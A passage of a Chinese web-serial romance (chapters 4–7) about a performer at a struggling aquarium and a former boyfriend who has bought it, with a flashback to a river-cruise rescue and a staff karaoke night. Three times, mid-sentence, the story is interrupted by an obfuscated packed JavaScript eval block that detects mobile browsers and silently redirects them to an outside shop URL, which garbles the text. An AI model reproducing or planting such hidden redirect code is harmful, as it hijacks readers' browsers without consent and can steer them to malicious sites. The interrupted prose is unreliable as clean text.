“水下好像不止有美人鱼吧。”他缓缓开口,“不是还有海王吗?” 4. 初见 景音嘴角第二次抽了抽。 海……海王。 亏他能说得出口。 “不行。”景音义正严辞拒绝。 裴涟挑了挑眉,慢悠悠站了起来,眉宇间闪过丝若有似无的笑意。 “我哪里不符合规定?”他问。 “我要的是一位女性。” 景音还是那副说辞。 裴涟不紧不慢道:“你和一名男演员搭档,可比和另一条美人鱼好看得多。” “……我们这里已经有一个男员工了。” “那个背着氧气瓶,穿紧身衣的潜水员?”他轻笑了声,抱起双臂,“我说的是和你一样,不带设备下水的演员。” 景音心思微动。 一男一女的演出效果,确实会更好看,可以设计的剧情也更丰富一些。 但她很快稳住心神。 这种感觉……她太熟悉了。 从很久以前,她就发觉每次和裴涟看法相左时,自己就会开始莫名被他牵着鼻子走。 景音本来对他还带着一丝尴尬的愧疚,觉得年少时或多或少地对他造成过一些心理阴影。 她是想对他柔和点的。 但想起方才他引起的“事故”,她又端正心神。 景音再次拒绝:“不行。” “是因为我不符合要求而不行呢。”他懒拖着音调,“还是因为我是你……” “裴涟。” “?” “我不能和你一起潜水。” 她仰起头,平静看着他:“我只要看到你,就会呛水。你刚才没看见吗?” “……” 裴涟骤然笑容消失,平静的眼底终于有了情绪翻涌,像是忍着什么难以言喻的心思。 他缓缓放下了双臂。 “明白了。” 裴涟从她身侧过去,出了休息室的门。 “我只是帮人事部捎个东西。这人下午来面试,先给你过一眼。” 景音一愣,很快反应过来,低下头又仔细看了看那张简历。 姓名那栏……是个陌生的女性名字。 但由于没贴照片,才导致了景音没能第一时间发现。 当然更主要的,是裴涟一直在误导她。 ……这个人。 景音莫名地愠怒。她刚才居然能相信,裴涟信口胡诌的什么海王? 景音回过身往外看,裴涟已经遛没了影。 “……懒得和你一般见识。”她小声嘀咕。 刚要回休息室进淋浴间冲凉,余光看见了门口的路图。 他靠在不远处的墙边,也不知道站了多久。 “小路?”景音喊他。 “……姐。”路图呵呵笑着,“刚刚那是谁啊。” 这话倒是把景音问着了。 她也不清楚裴涟是以什么身份来送简历的。 也许真的是刚才她想的,裴涟给自己整了个副馆长位置。 又或者,他只是来找王馆长商量什么公事。 但这种不确定的事情,景音也不好直接说出来。 “他……”景音不知道该怎么表述。 路图好像也没打算听结果。 “我听见你们刚才说的话了。”路图小心问她,“所以,你刚才呛水,是因为在水底看到他了吗?” 景音沉默了半晌。 “怎么可能。”她笑得灿烂,“看见他就呛水?那人又不是水鬼,有那么吓人吗。” 景音顺手把手里的简历给了路图。 “下午要来面试的,帮我放回办公室。” 语毕,她钻进了的淋浴间,锁上门。 打开花洒,景音站进水帘下。 她一向只有独处时才能拥有思考能力。然而回忆像头顶的水珠一样,毫不留情地将她淹没。 她想起和裴涟的初见。 景音高中的那个年代,大家还不懂什么心理疾病。班里的同学只当她性格高冷不爱说话,没人知道她因为家里的原因,已经有了严重的心理问题,对待情感极度淡漠。 没有共情能力,感知迟钝,回避任何亲密关系。 景音的高中,是季城有名的私立学校——闻泰中学。大一开学前,大家为了以后在季城多留些人脉关系,举办了毕业派对。 闻泰的学生都是懂享受的人,有人用了家里的关系,包了条江中的游轮。 景音那天受不了家里的嘈杂声音,也去了。 她没什么朋友,班里的同学都在室内喝酒。景音有点晕船,独自去了甲板,倚在围栏边看江景。 八月末,季城的江风已经有些清凉。她记得江边岸上散步的情侣和游客,还有一个她不记得名字的男同学,冒冒失失跑过来跟她搭话。 景音穿着吊带长裙,披了件薄薄的白色外套。头发随意散在耳侧,安静看着那个男生。 “景音。”男生带着一身的酒气,“你真漂亮。” 景音疑惑看着他,不知道该怎么回答。 “我能——哇……” 男同学突然吐了。 景音躲闪不及,长裙惹上一片脏污,甚至连脚上也溅到了一些。 她本就因为晕船而反胃,这下更恶心了,强忍着吐回去的生理反应,不适地开口:“离我远点。” 男生估计也觉得尴尬,他捂着嘴摆摆手,小跑着回了室内。 看样子是还有存货。 景音后悔万分。 早知道就不该来的。 她瞪着裙子上的污秽,那时心里想的是干脆跳江算了。 然后,肩膀被人轻拍了拍。 景音回过头。 裴涟站在她身后,笑容淡淡。 碎发被晚风扬起,露出少年星般闪烁的浅眸。下颚线利落白净,在头顶船灯的照耀下,明晃晃的脖侧,朱红的痣模糊可见。 他一定是喷了什么好闻的香水,景音想。 不然为什么,周身的异味好像都闻不到了。 裴涟有些迟钝地开了口:“你好。” 景音微愣,没说话。 “你叫景音,对吗?” 他的目光温柔,带着些青涩的紧张,眼神却牢牢锁着她,坚定不移。 景音点点头。 裴涟继续说了下去:“我叫裴涟,你应该不认识我……” “我知道你。” 景音打断他。 听见这个回答,裴涟不太意外,却浅浅弯了眉眼。 “百日宣誓的时候见过我?” 离高考还有一百天的时候,闻泰高中曾举行过宣誓仪式,裴涟曾作为学生代表上台演讲。 景音神色淡淡,未回答他。 裴涟只当她是默认了。 “我有话要对你说,你别害怕。”他柔着声音,“你能不能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572823|142979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做我女朋友。” 景音觉得当时她想了很久,但实际好像只有一瞬。 心里彷佛通了电,有什么东西打开了,正溢出一点暖暖的热流。 “好。”她应,点了点头。 裴涟的样子,似乎不敢相信。 与此同时,不远处的一帮男女生闹出不小的动静。景音透过裴涟肩头望过去,发现那帮人居然都在看向这里。 那些眼神,有些是震惊,有些是嫉妒,有些是戏谑。 只可惜当年的景音并不能理解他们眼神中暗藏的含义,不然,后面的事也许就不会发生。 裴涟好像不知该说点什么了,只软着眼神,指了指后面:“我还有点事,等下来找你。你等我,很快。” “好。”景音能感觉心跳在胸腔有力震动。 少年还没动。 “你别走啊。”他又强调了一遍。 “嗯。” 裴涟笑了,不舍般地又看了她一眼,然后转身走向身后那帮人。 有男生捶他的肩迎接他,说了什么打趣的话,但听不清楚。那边闹哄哄的,景音只默默地看着。 裴涟站在他们当中,面上溢着笑容。 “景音?” 有人喊她的名字。 景音转过头,看见刚才那个吐了她一身的男同学又回来了。 男生状态比刚才好了不少,只是表情复杂:“没想到,你和裴涟认识啊。” 他下巴冲着那边扬了扬。 景音诚实地摇摇头:“不认识。” “什么意思。”男生神情微变,“你俩不认识?” “对。” “不认识,你就答应当他女朋友?” 景音仍是那副平静如水的表情:“嗯。” “我他妈追你追了两年。”男生神色有些扭曲,语速也变快了,“你连正眼都没瞧过我,裴涟跟你说了一句话,你就答应跟他在一起?” 景音皱了皱眉。 她看着眼前这个男生,努力回想了一下,好像是在不同的场合跟他相遇过。 有几次也被他搭过话,说的什么,记不清了。 “你叫什么名字?”景音问。 “……” 这句话好像彻底激怒了男生。 “……景音,你故意的吧?”他嗤笑了下,“哈,亏我以为你对谁都是这副冷冰冰的样子,原来都是装的,来个长得帅又有钱的不还是贴上去了?说白了还是婊子,只不过骚的高级点呗。” 景音不需要多么丰富的情商,也能听懂这直白的谩骂。 但是能听懂,不代表能理解。 她想问,她做了什么事,和他有什么关系。 可惜还没问出来,男生就被人重重打了一拳。 景音怔住。 身侧不知何时多了一人,正是去而复返的裴涟。 他面无表情,却毫不压抑眼中翻滚的阴鸷。 “嘴巴真脏。”他轻嗤,“讨打的方式也很低级。” 男生捂着腮帮子,只懵了一瞬,而后立刻挥拳还手。 景音是真的不知道该怎么做。 她又说错话了吗? 但她清楚的是,他们不能这样。 有人突然搂上了她的肩,景音要伸手劝阻的动作卡了壳。 “别急呀,小漂亮。”清亮的女声在她耳边响起。“你老公给你报仇呢。” 5. 有钱的冤大头 景音顿了顿,然后坚定地甩开女生的钳制。 可她还是晚了一步。 裴涟本就个子高,突然被那男生猛推了一把,瞬间失去平衡,从围栏边仰了下去。 重物落水的声音清晰可闻,甲板上的一行人都傻了。 景音最先反应过来。 没有过多的思考,翻过围栏,纵身向前一跃—— 江水瞬间没过头顶。 景音小时候学过游泳,自认为游得还不错。 可是,江流比她想象的要急。 游轮速度缓慢,带出的船浪却不小。景音立刻被浪推了出去,堪堪调整好姿势,便发现裴涟在她不远处。 也许是意外入水的原因,他明显很紧张,几度被浪淹过头顶。 看到景音跳了下来,他表情瞬间变为错愕,一度忘记挣扎。 景音没花多少功夫就靠近了他:“别慌,我抓住你了。” 她费劲脱掉外套,分别把两个袖子紧紧缠在自己和裴涟胳膊上。 裴涟趁这时抓住她:“你干嘛跳下来?” “你会游泳吗?”她反问,然后被浪灌了一嘴的江水。 腰部往下的水流实在乱七八糟,她能抓到裴涟,已经很不容易了。 裴涟脸色仍有点白,同样磕磕绊绊答:“我会。” 景音抓住他的胳膊,努力帮他调整好重心。不远处,已经缓缓开走的游轮上,扔下来只救生圈。 两人同时看到了。 “加油。”景音鼓励他。 裴涟冲她挤出一个笑容。 下个瞬间,没有任何预兆地,他没入了水里。 景音还没来得及反应,自己也被猛带进水中。一股强而有劲的力量将他两人向反方向拉扯,景音心中狂跳不止。 是暗流。 她被卷下去时并没憋气,万幸的是她有先见之明,胳膊上绑的衣服足够结实,裴涟还和她在一起。景音紧紧抓住他的小臂,对方也同样回握着她。 她能感觉到裴涟在挣扎,在同暗流搏斗,想带着她冲出这片水域。 景音很想告诉他节省体力,但毫无办法,唯一能做的就是紧紧抓着他,生怕两人被冲散。 他们像两只绑在一起的布娃娃,任暗流随意操控摆弄。 几十秒过去了,水流终于渐缓。 景音已经被迫吞了好几口水,只剩一点残存的力气。她试图向上游,胳膊却沉沉抬不动,才察觉身边的人已经不像刚才那般有活力了。 景音看过去,心底一沉,落水以来第一次感受到了恐惧。 裴涟半睁着眼,缓缓抬手,指了指胳膊上将两人绑在一起的外套。 然后目光涣散开,四肢也舒展飘荡,不再挣扎了。 景音心底,突然觉得愤怒。 她将他的手腕捏得更紧,用尽全力向水面游。 黑夜中的水面像没有星点的夜空,见不到一点光亮。 裴涟太沉了。 景音觉得自己被绑了块巨石,分不出到底在上升还是下落。全身的细胞都在叫嚣,四肢也在催她放弃,不要再努力了,太累了。 突然,夜空被撕开似的,划过一道流星。 麻木的大脑告诉她:是救援船的尾灯。 她紧绷的神经终于放松几分,可是拖着裴涟,她无力上游。 灯点越来越远,水面再次沉寂。黑暗威胁着大脑,也考验着人性。 景音所做的最后一件事,是解开了绑在裴涟胳膊上的外套。 也解开了自己的。 白色的外套缓缓上飘,停在了头顶几米远的距离外,平着摊成了一朵花。 在暗夜中,是唯一的信标。 那道离开的星灯又折返回来,水面很快聚集起更多光点,亮如晨曦初生。 景音笑了,双臂探进裴涟的短袖,紧紧抱住他温凉的后背,失去了意识。 …… “姐,你还没洗完吗?” 路图在外面把门敲得咚咚响。 景音回过神,关掉了花洒。 她换好衣服,打开淋浴间的门,看见路图在休息室里,似乎坐了很久。 “不好意思。”她道歉,“怎么不先擦擦头发?” “没事,呵呵。” 路图笑了笑,甩了甩头上的水珠,径自去了淋浴间。 湿发似乎是路图的癖好,景音很少见到他把头发吹干。但景音自己戴泳帽下水的时候,也不会把头发弄到那么湿。 可能是他的泳帽质量不好吧。 景音没想太多。 回到办公室,她拿起桌上那张简历仔细看了起来。 这个岗位其实要求很低,没什么专业限制。再加上难招到人,景音这次特意让人事在招聘软件上去掉了会游泳这项要求。 不会游泳,她可以教。 但她发现,这求职者居然有留学经历,专业也很好找工作,不知道是哪里吸引到她投了这份简历。 景音看着空空的相片粘贴处,给人事的同事发了个消息,问问能不能要到求职者的照片。 这项工作唯一的硬性要求是长相,因为要面对观众,至少要五官端正。 过了一会儿,同事发来张生活照,景音一瞧,甚是满意。 瓜子脸长头发,笑容健康大方。 她立刻跟人事说同意面试。 午休过后,景音去了人事部。 人事的办公室里挺忙,景音瞅了一眼,决定还是不去添乱,直接去了隔壁的会客厅。 打开门,一道熟悉的身影坐在里面。 景音忍不住浅翻了个白眼。 她居然已经开始见怪不怪了。 她绕过长桌,坐在裴涟旁边的位置上。裴涟压根儿没看见她似的,修长的手掌中端了个平板,不知道在看什么。 眼前的男人与方才的记忆重叠,景音忽然有一种奇怪的感觉。 仿佛,间隔的这几年不曾存在过,裴涟一直在她身边。 他目不转睛地盯着屏幕。景音难得产生了几分好奇,伸过头去。 平板挪开了几寸。 “干什么。”裴涟轻声质问。 “是活的啊。”景音点点头,“还以为你是馆里的地缚灵,随机刷新在某个房间。” 裴涟淡扫了她一眼。 景音立刻正襟危坐,仿佛没话找话的人不是她一样。 平板的屏幕光熄灭了。裴涟侧过身子,指尖在桌面上点了点。审视的目光凌迟着景音,她莫名地怂了。 “你是不是比以前活泼了点。”裴涟很平静,“话也多了点。” “我以前很不活泼吗。” 裴涟似乎不想和她深究。 “没有。”他又转回身子,“挺好的。” “……那是以前好,还是现在好?”她忍不住问。 “对我来说没区别。” …… 试图从裴涟嘴里问出什么,是她的错。 “所以,你坐在这里干嘛呢。”她又犯错了,“我来这是因为等下有人要来面试,这你知道吗?” 裴涟又继续看起了平板:“我知道。” 偏偏没回答她第一个问题。 景音终于放弃,不再跟他说话。 裴涟这个样子让她很熟悉,但又有点陌生。 因为,以前她眼中的裴涟,对待别人的时候,就是这个样子的。 说不上不搭理人,同他讲话也有回应。但那种疏离的态度,就没法让人继续和他聊下去。 好像只有在面对她的时候,他才会软下态度,像犯困的猫。 说没有心理落差是不可能的。但景音想了想,这么多年过去了,裴涟对她变成陌生人的态度,倒也正常。 她压根没联想到,自己上午对他说过的话。 自然也没注意到,裴涟看着平板的视线根本心不在焉。 空气中的气氛尴尬,过了有十分钟,人事部负责面试的刘姐才过来。 “裴总。”刘姐冲裴涟点点头,顺便带上了办公室的门。 景音正了正身板,心思飞快转了起来。 她记得,王馆长昨天说裴涟是来做投资考察的。现在刘姐也管他叫“裴总”,看来,裴涟确实给他们投资了。 只是投资就投资,为什么还待在馆里不走? 股东不是一向都是甩手掌柜吗。 景音不好意思张嘴问。没多久,办公室的门被敲响了。 刘姐:“请进。” 门被推开,进来个窈窕的美女。景音第一反应是,比照片上好看得多。 齐胸的柔顺长发,笑容明媚,毫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572824|142979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无疑问长得很漂亮。 “许晏霖是吧?”刘姐站起来,“你好,坐这里就行了。” “好。” 许晏霖轻笑了下,坐在了长桌对面。 景音默默听着刘姐问了许晏霖一些常规的面试问题。许晏霖回答流畅,时不时向景音这边看一眼。 是错觉吗? 景音总感觉许晏霖一直看的是旁边的裴涟。 然而裴涟全程看着平板,头也没抬一下。 “小景,你还有什么问题要问吗?”刘姐问她,“我这里结束了。” 景音清了清嗓,微微前倾了身体。 “我想问,你的学历和专业都很优秀,为什么会选择来我们这里应聘?” 许晏霖的笑容闪了闪。 “哦,忘记自我介绍了。我叫景音,入职后是你的教练。”景音补了句。 “好的。”许晏霖很快回答,“我想来这里,主要是因为向往海洋馆。可以和各种各样的鱼类当同事,应该会比在写字楼里愉快得多。” 景音了然,点点头。 “有一点我要提前告诉你,现在馆里没有办法提供合适的训练场所,我们训练的地方比较冷,而且要经常泡在水里,你能接受吗?” “这些刘姐在线上和我沟通过了,包括以后职业的特性和要求都跟我讲过。我能接受。”许晏霖回答她。 景音:“那我没什么问题了。” “好,那就先这样。”刘姐站了起来,“您回去等通知吧,明天之前会告诉你结果。” “好的,辛苦了。”许晏霖也站起身。半个身子都出门了,突然回头莞尔一笑:“那我走了哦,裴涟。” 语罢,轻轻带上了门。 景音和刘姐不约而同地看向旁边。 裴涟像没听见似的,仍在盯着平板,和刚才唯一的区别是,眉头皱得更紧了。 刘姐维持着笑容:“裴总,这是您熟人?” “不熟。”裴涟面色不明,“该怎么招怎么招。” 刘姐连忙应是,笑容随和地说自己还有别工作,关上门走了。 “那我也走了,裴总。”景音推开凳子。 裴涟点点头。 景音快步出了会客室。陌生的裴涟她有点应对不来。 不过很合她意。 她还没做好裴涟突然出现在她生活中的准备。 顺着刚才的猜测,景音觉得他今天来馆里只是和王馆长有什么手续没办完,所以才会借用会客厅工作。 以后……应该也不会再见到他了。 路过人事办公室,景音差点迎面撞上个人。 “小景!”对面扶住她。 “阿薇。” 谢薇是人事部的员工,和她差不多一个时间来的海洋馆,两个人关系比较好。 谢薇表情激动,偷摸把她拉到一边。 “憋死我了,正想找人说八卦呢,可算找到你了。” 景音有点好奇:“怎么了?” “早上馆长不是说来了个新的副馆长吗?”谢薇战术停顿,“我听说,那个人是馆长一个远房亲戚,挂名来吃员工保险的。” “啊?” “是不是很过分!不止呢。”谢薇继续说了起来,“之前不是都说咱们海洋馆收入差,快倒闭了吗,我听说馆长把咱们连人带鱼全打包卖给了一个有钱的冤大头,以后这里可能要被铲平,改建商场……” “……” 景音先是吃了一惊,然后大脑开始飞速思考。 她迅速交出自己的情报: “这个有钱的冤大头,是不是个年轻的男人,长得特别帅,还一副性冷淡的样子?” 身侧的门突然被推开。 裴涟从里面走出来,扫了她们一眼,视线最终锁在景音脸上。 “我去,好帅好帅。”谢薇降低了声音,但在空荡的走廊仍然清晰可闻,“小景你快看!有帅哥啊,快看!” 景音安详合眼,假装感觉不到谢薇在狂怼她的胳膊,默默祈祷裴涟没听见自己的话,努力和墙融为一体。 “景音。” 裴涟叫她的名字。 谢薇的手终于老实了。景音鼓起勇气,抬起了头。 裴涟神色意味不明,眸若寒星盯着她: “跟我过来。” 6. 好玩的游戏 景音不傻。 她转过身子,撒腿就跑。 笑话!要是真被裴涟听见自己在他背后说他性冷淡,还没被他冷言冷语怼死,就先自己丢脸死。 景音回了剧场,提心吊胆地过了一个平静的下午。 她倒是不担心谢薇说的八卦,因为谢薇的八卦,向来只能听三分之一。 有效的部分,估计只有“连人带鱼打包卖给一个冤大头”这一句。 而那个冤大头如果真的是裴涟。 那她也没办法。谁让他太有钱。 好在这个下午,都没什么人找上门来。 临下班,景音以为这一天就要这样结束时,手机突然收到了群消息。 【珍珠岛大家庭】 锤头鲨:今晚举行每月一度的团建聚餐,为本月过生日员工庆祝!来的扣1。 景音两眼一黑,就要关掉群聊。 紧接着又刷上一条消息。 锤头鲨:不来的扣绩效。 景音:“…” 锤头鲨,是王馆长给自己起的花名,哦不,鱼名。 并且他还“提意见”,每个人都要把自己的群昵称改成鱼名。 “姐,你看到群消息了吗?今晚团建。”路图从桌子对面探过身子。 “…嗯,看到了。” 她深深地怀疑海洋馆是被王馆长吃穷的。 群里被各种叫不上名字只能认出个鱼名的同事刷着屏,景音只好也颤颤巍巍打了个“1”。 下班时间到,景音在馆门口遇到了谢薇。她和谢薇一起坐上路图的车,去到市中心一家自助餐厅。 这家餐厅据说是馆长的朋友开的,所以王馆长最喜欢来这里团建,员工们都戏称这里为“二食堂”。 幸好这里的菜品新鲜,每月吃一次,倒也不反感。 他们三人对二食堂已经轻车熟路,上了楼,果然已经有很多员工坐在里面用餐。 谢薇找了张空桌,三人落座。景音放好包包,猛然瞥见裴涟坐在不远处,和馆长坐在一桌。 视线短暂交汇。 裴涟像是没看见她似的,挪开了目光。 景音如法炮制,也假装没看见他。 四周的员工也都看见了这张没见过的面孔。景音看见,很多人都在小声讨论。 以海洋馆的八卦传播速度,她相信,裴涟冤大头的身份已经人尽皆知了。 她和谢薇一起去拿了些菜,不可避免地经过裴涟身边。 回到座位上,谢薇面色沉重:“小景,咱们下午遇到的那个帅哥也在。” 景音木然回答:“嗯。” “我听说他就是那个买了我们的老板。”谢薇叹了口气,“他居然还明晃晃地出现在这里,怎么办,这不会是我们的散伙饭吧。” 景音听她说的如此认真,心底不免重视起来:“你从哪里听说他要把咱们馆改建商场?” “是我同事,听见他打了一上午电话,跟人讨论什么''推翻''、''铲平''的……” “……” 景音也面色凝重起来。路图拿了饭回来,发现这股莫名的低气压,识趣地不敢乱说话。 这顿饭就这样默默地吃完了。 今天不是周末,来吃饭的客人比较少,整个二层楼都是海洋馆的员工。 见大家基本都用餐完毕,王馆长站起来拍拍手,示意有话要说。 “大家都吃饱喝足了吧。”他看了看四周,“这样吧,我看大家还没尽兴,我再请大家唱歌,今晚我们嗨个够!” 景音和谢薇交换了一个沉重的目光。 以往团建,吃完饭就各回各家,什么时候去唱过歌? 看来这次聚餐,确实有极大的可能是最后一次。 一些成了家的员工都先借口回了家。到了KTV,只剩王馆长一个中年人带着馆里八九个年轻人,开了个最大号包间。 谢薇是个麦霸,一进包间就抢了麦克风去点歌。景音落了单,坐在了角落。 服务生端来了果盘和零食啤酒。景音晚上吃的有点咸,伸手拿了块西瓜,嗖嗖啃了起来。 “姐,过来一起来玩游戏啊。”路图在旁边叫她,“输的喝酒。” “来了。” 景音抬起头,再次一眼对上裴涟的目光。 包间里光线很昏暗。景音旁边闹哄哄的,只有灯球打出的银色光点平等地扫在每个人的脸庞。 裴涟靠在对面沙发上,淡漠的脸上没什么情绪。被发现自己在看她,也没像方才在餐厅似的闪躲眼神。 景音被他直勾勾的视线看得发毛,不自觉缓缓放下了手里的西瓜。 “怎么玩?” 她转移了自己的注意力,问向路图。 路图跟旁边人笑着说了两句,才回答她:“很简单啊,玩''我有你没有'',每个人说一件自己做过但别人没做过的事,如果只有你自己做过,那其他人都要喝酒;如果有别人做过的话,那你就要喝酒。” “哦。”景音点点头。 除了正在唱歌的谢薇和王馆长,其他人都加入了游戏。大家坐得近了些,几个熟稔的员工凑在一起,冲裴涟那边笑着指指点点。 里面的财务小妹突然站起来,朝那边招呼:“裴总,来一块玩啊!” 景音故意没抬头。 几个女生一顿骚乱,过了会儿,景音感觉,旁边的沙发凹陷下去了。 香冷的味道缓缓蔓延过来,她不用看,也猜到了裴涟绕过一个桌子,坐在了她左边。 有人推给她一杯酒,让她给裴涟。景音没敢抬头,挪过去杯子就不管了。 财务小妹带着兴奋的笑容,在谢薇的歌声中宣布:“那游戏开始吧,我坐最边上,我先来。我想想啊……我有一次熬夜到凌晨五点才睡觉!” 景音举起了手。 不止她一个人,至少有一半人都举起了手。 “这算什么呀,哈哈哈,快喝!”有人催她。 财务小妹一脸遗憾,端起酒杯喝了一口。 “到我了到我了。”一个饲养部的男生站了起来,“我是处男!” ……景音又默默举手。 那男生指着她的方向笑了起来:“哈哈哈!不是吧裴总,景美女也就算了,你这么帅,居然也是处男!?” 景音瞥过头,看见裴涟满不在乎地半举着胳膊。 “不可以吗。”裴涟没好气地问。 “可以,可以。哎,这下我不觉得丢人了,裴总这种极品帅哥都是处男,我光荣!”男生笑嘻嘻地干了杯酒。 景音心里默默寻思,难道裴涟出国这几年,都没交过女朋友? 不过,有女朋友也不一定……要做到那一步。 此时此刻,她才想起来,裴涟昨天发过一个朋友圈,洋洋得意的口吻说自己被初恋求复合。 她连他现在是不是单身都不知道,居然还操心起了他的人生大事。 景音摇摇头,把有关裴涟的情绪赶了出去,继续玩游戏。 轮过几个人,大家还放不太开,说出来的事情基本都有其他人做过,景音一口酒也没喝。 很快游戏就轮到她。 景音早已经准备好了回答:“我能在水下憋气四分钟。” 众人都哑了。 “你这也太牛啦。”有个女生说,“这是绝活啊,别说是我们了,就是放眼整个季城,也没几个人能做到吧。” 路图也一眼崇敬地看着她:“姐,一直看你能在水下憋很久,没想到能憋这么久啊。” 景音被他们夸得有点不好意思。 “那是我的最高纪录,而且得是静止状态下。”她腼腆地笑笑,“平时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572825|142979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的话,一般是两分钟左右。” “得了!”那个饲养部的男生举起杯子,“愿赌服输,大家干!” 身旁的裴涟也举起杯子,但是放下酒杯之后,里面的酒只是少了浅浅一层。 他们没规定必须干杯,大家都在按自己的酒量随意喝。景音知道他一杯倒,看见这杯抿了一口的酒,心底不免浅笑。 还是和以前一样菜! “那下一个轮到裴总啦。”财务小妹笑眯眯看着这边。 众人也都一脸期待地看着裴涟。大家似乎都对这个陌生的帅哥很感兴趣。 裴涟若有所思。 须臾,他才淡淡开口:“我给一个人当过舔狗。” 众人:“……” 裴涟:“当了一年。” 没人说话,只有谢薇的歌声震耳欲聋:“一只哈巴狗,坐在家门口……” 那饲养部的男生举起了手,唉声叹气道:“哥们,我懂你啊。我也给一个喜欢的女生当过一年舔狗。个中滋味,难以言喻,不足为外人道矣。总结起来就两个字:心酸。” “裴总这么优秀还要给人当舔狗啊。”另一个女生咋舌,“那女生条件得多好,肯定是个厉害的大美女。” “嗯。”裴涟点点头,“她是挺好的。” 景音动都不敢动。 裴涟说的……该不会是她吧。 大一的时候,裴涟确实纠缠了她一整年,现在想想他的行为,说是“舔狗”,也没什么异议。 不过,万一的万一,裴涟就是有什么“舔狗综合征”呢。 说不定,他去了国外,也给别的女生当过舔狗呢。 裴涟眉眼微撩,若有似无地看着景音的方向:“好就好在,从来不把我放在眼里。就差给她跪下了,才换来一个吻。” 景音汗流浃背。 “啊!!!”财务小妹激动地捂住脸,“裴总,再说点,我就爱听这种香艳的回忆!” “没了。” 裴涟轻笑,端起杯子,依旧是浅浅地抿了一口。 财务小妹肉眼可见地失望:“面对我们这么鲜嫩可口的裴总,那美女居然只亲了一下。这定力,吾辈楷模。” 旁边的女生忙怼她的胳膊,几个人咯咯地笑出了声。 裴涟也没觉得冒犯,好脾气地懒懒笑着。 “我去一下洗手间。”景音站了起来。 她特意没从裴涟那边走,跨过所有人的腿,从桌子另一边出去了。 关上包间的门,景音才长舒了口气。 爹了个蛋的。 她敢打一百个赌,裴涟就是故意说给她听的! 景音一边往洗手间走,一边怒气冲冲想,裴涟随口说个东西,在座的人估计听都没听过,更别说拥有了。 虽然会有点炫富的嫌疑。 但他大可以不说和她有关的事情。 到了洗手间,景音胡乱冲了冲手,理智回来了几分。 她又开始鸵鸟心态,也许有别的女生做了和她一样的事,也说不定。 毕竟裴涟没有指名道姓,那就有可能说的不是她。 理论上是……有这种可能的吧。 然后,景音认真思考了一下要不要回包间。 答案是显而易见的。 沙壁才回去。 但是,她的包包还在包间里。 景音掏出手机,想给谢薇打个电话,让她帮忙拿出自己的包包。 响了半天铃,对面也没有接通。 想了想刚才包间内谢薇忘我歌唱的声音,景音叹了口气,准备打给路图。 手指刚要碰到屏幕里那串数字,景音的视野中,出现一双鞋。 她抬头,裴涟正凉凉瞅着她,手里拎着她的小包包。 男人懒懒看着她: “在找这个吗。” 7. 洁癖 景音僵硬地接过包包。 几乎是同时,裴涟又凑近了一步,低沉着声音,威胁似的开口: “别又想跑。” 八月夜桂花的味道再次钻进鼻腔,毫不客气地挤走了走廊的二手烟味。 明明是花香,却好像酒精一样麻痹了景音的大脑。 裴涟的身影几乎能把她笼罩在身下。景音指尖发麻,被他的气息控制在原地,动弹不得。 见景音一直愣怔,裴涟又问:“是不是想回家。” 景音点点头。 他这才缓缓退了两步,转身朝门的方向走去。 景音长舒了口气,默默跟上。 见她乖乖跟在身后,裴涟挑了挑眉:“怎么不跑了。” “不是你不让我跑的吗。”景音声音很平静,“你有事找我啊。” 裴涟却从她的话尾听出了点颤音。 他浅抿了抿唇:“嗯。” 景音:“什么事?” 裴涟:“你难道没什么事情想问我吗。” 景音还真想了想。 好像是有一件很重要的事。 “你真的把我们馆买下来了?”她问。 裴涟微挑了眉,似乎没想到她问的是这件事。 “嗯。”他懒哼了声,“我就是那个冤大头。王富疆和我交接完后,我就会正式担任副馆长。” “……” 景音尴尬一笑。 这谢薇的八卦,真是没一句靠谱的。 既然他这么说,看来下午的时候,他真的听见自己和谢薇蹲墙角聊八卦了。 那冤大头的下一句,她说他性冷淡的部分,肯定也…… 不不不。 他不说,就不提。他一问,装惊讶。 景音权当什么都不明白,火速转移了话题:“我听说你要把海洋馆铲平……” “本来没那么想的。”他打断她,“现在正在考虑。” “……” 裴涟淡笑着,眉宇间也柔和了许多。景音愣了一下,恍然明白,他是在吓唬她。 想问他买海洋馆的缘由,便卡在了嘴中。 “……不聊了。”景音出了KTV的大门,“我回家。” 裴涟没应声,只默默跟在她旁边。 昨天下的雪还没化干净,路边堆积起一座座蒙着灰尘的雪堆。景音无意识地踩着雪,掏出手机,用打车软件叫了辆出租车。 这里是市中心,现在又是高峰期,软件显示还有五分钟车才能到。 裴涟显然也看见了她手机上的提示。 “你回去吧。”景音催他,“等会儿车就到了。” “我想和你多待会儿。” 裴涟呵出一团白气。 这句话,似乎打破了这两天以来,两人装不熟的局面。 